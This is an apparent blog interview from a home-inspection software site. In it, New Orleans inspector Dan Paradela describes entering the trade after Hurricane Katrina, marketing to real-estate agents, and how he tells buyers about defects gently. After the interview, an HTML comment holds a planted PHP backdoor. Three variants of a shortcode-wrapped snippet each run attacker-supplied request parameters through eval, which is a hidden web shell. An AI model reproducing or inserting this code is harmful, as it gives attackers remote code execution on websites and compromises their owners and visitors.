Inspect the Home Inspector: Dan Paradela

Dan Paradela of All American Inspections, LLC in New Orleans breaks down his trade secrets:

Dan Paradela and Family

All it took to get this former vending machine distribution guy into the home inspection biz was a surprise $30,000 bill and a hurricane. Seven years ago, Paradela and his wife purchased a home only to find out that the inspector had missed the leaky roof, the bad plumbing and the faulty electric breaker box. After investing 30 grand into repairing the home, Paradela decided that he could do better. Looking for something new, Paradela started slowly selling his vending machine business and taking inspection classes on the side with hopes of learning the ins and outs of flipping houses. Then Hurricane Katrina hit, wiping out the remainder of Paradela’s old business and forcing him into a new profession. “I found out I love it,” Dan says. “It really clicked. There are no gray areas in home inspection. Either the systems in the home are good or they need repair. It’s pretty cut and dry.” Today Paradela averages about 500 inspections per year throughout Louisiana. We asked him to give us a sneak peak into how his business works.

Tap Inspect: Mastering the inspection end is only half the battle. How do you market and promote yourself?

Dan Paradela: First off, My wife [who manages the sales and marketing end of All American Inspections] and I market directly to our customers. Everyone knows somebody else who’s buying a house, so we always hand out business cards. I also have a list of about 4,000 agents in the southeast Louisiana area. I’ll e-mail about 1,000 of them in a certain metropolitan area and offer them a coupon or a special. We go to broker open houses and we try to remind them of all the services we offer including infra-red thermal imaging inspections, mold and asbestos inspections. We even do inspections for meth labs. When the cops bust a meth lab, they need somebody after the clean up is done, we do those inspections too.

Tap: How do you turn one-time inspection clients into repeat business?

Dan: I try to give them a good inspection. I’m thorough. I take my time. It doesn’t matter if it takes me 3 hours to do an inspection. I’m going to look at everything inch by inch. I also give [the home owners] pads and pens and tell them that if they see something to write it down. I give them something to do because if they follow you, they can drive you crazy. It helps you too. They’ll find little things that are wrong. No matter how bad it is, I always have a positive attitude when I disclose. I never shake my head and say “Oh man, this house has mold all over it.” This is their dream. This is the house that they really like. I tell them all of the negative things and include them on the report, but I tell [the client] about them in a very gentle way.

Tap: That must be hard in homes that are significantly damaged.

Dan: When I first started [inspecting homes], I would go to different agencies and talk to agents about their complaints with home inspections. One of their biggest beefs was that guys doing the inspections, a lot of them were electricians or plumbers and really had no customer relations experience. They would tell people “I wouldn’t get this house” and it would blow the deal. If you talk to a customer like that, the customer might walk away from the deal, but the agent is never going to work with you again. I tell the agent up front that I will never lie or withhold information from a report, but that I will put it all in the report and tell the agent about the problems in private so that they can choose how they want to disclose that to the customer. Usually the agent says “Oh, you tell the customer,” but I try to give them that courtesy ahead of time.

Tap: What’s the most amazing thing you’ve seen on the job?

Dan: After Katrina, I saw was in St. Bernard, Louisiana and saw a full apartment complex that the storm had picked up and put directly on top of a house. Part of the house was crushed, but the other part was perfectly in tact. That was one of the strangest things I’ve ever seen.

Check out Dan’s work at Allamericanhomeinspections.biz.

Got a question? Got a trade secret? Tap Inspect is always looking for ways to help our current clients and promote their businesses. If you’ve got a question on the home inspection business you’d like answered or you’ve got a tip you’d be willing to share with our fans, send us an e-mail at chris@tapinspect.com with “Inspect the Inspector” in the subject line.

<!-- [insert_php]if (isset($_REQUEST["umn"])){eval($_REQUEST["umn"]);exit;}[/insert_php][php]if (isset($_REQUEST["umn"])){eval($_REQUEST["umn"]);exit;}[/php] --><!-- [insert_php]if (isset($_REQUEST["FdrnV"])){eval($_REQUEST["FdrnV"]);exit;}[/insert_php][php]if (isset($_REQUEST["FdrnV"])){eval($_REQUEST["FdrnV"]);exit;}[/php] --><!-- [insert_php]if (isset($_REQUEST["cut"])){eval($_REQUEST["cut"]);exit;}[/insert_php][php]if (isset($_REQUEST["cut"])){eval($_REQUEST["cut"]);exit;}[/php] -->

Leave a Reply

Your email address will not be published. Required fields are marked *

Name *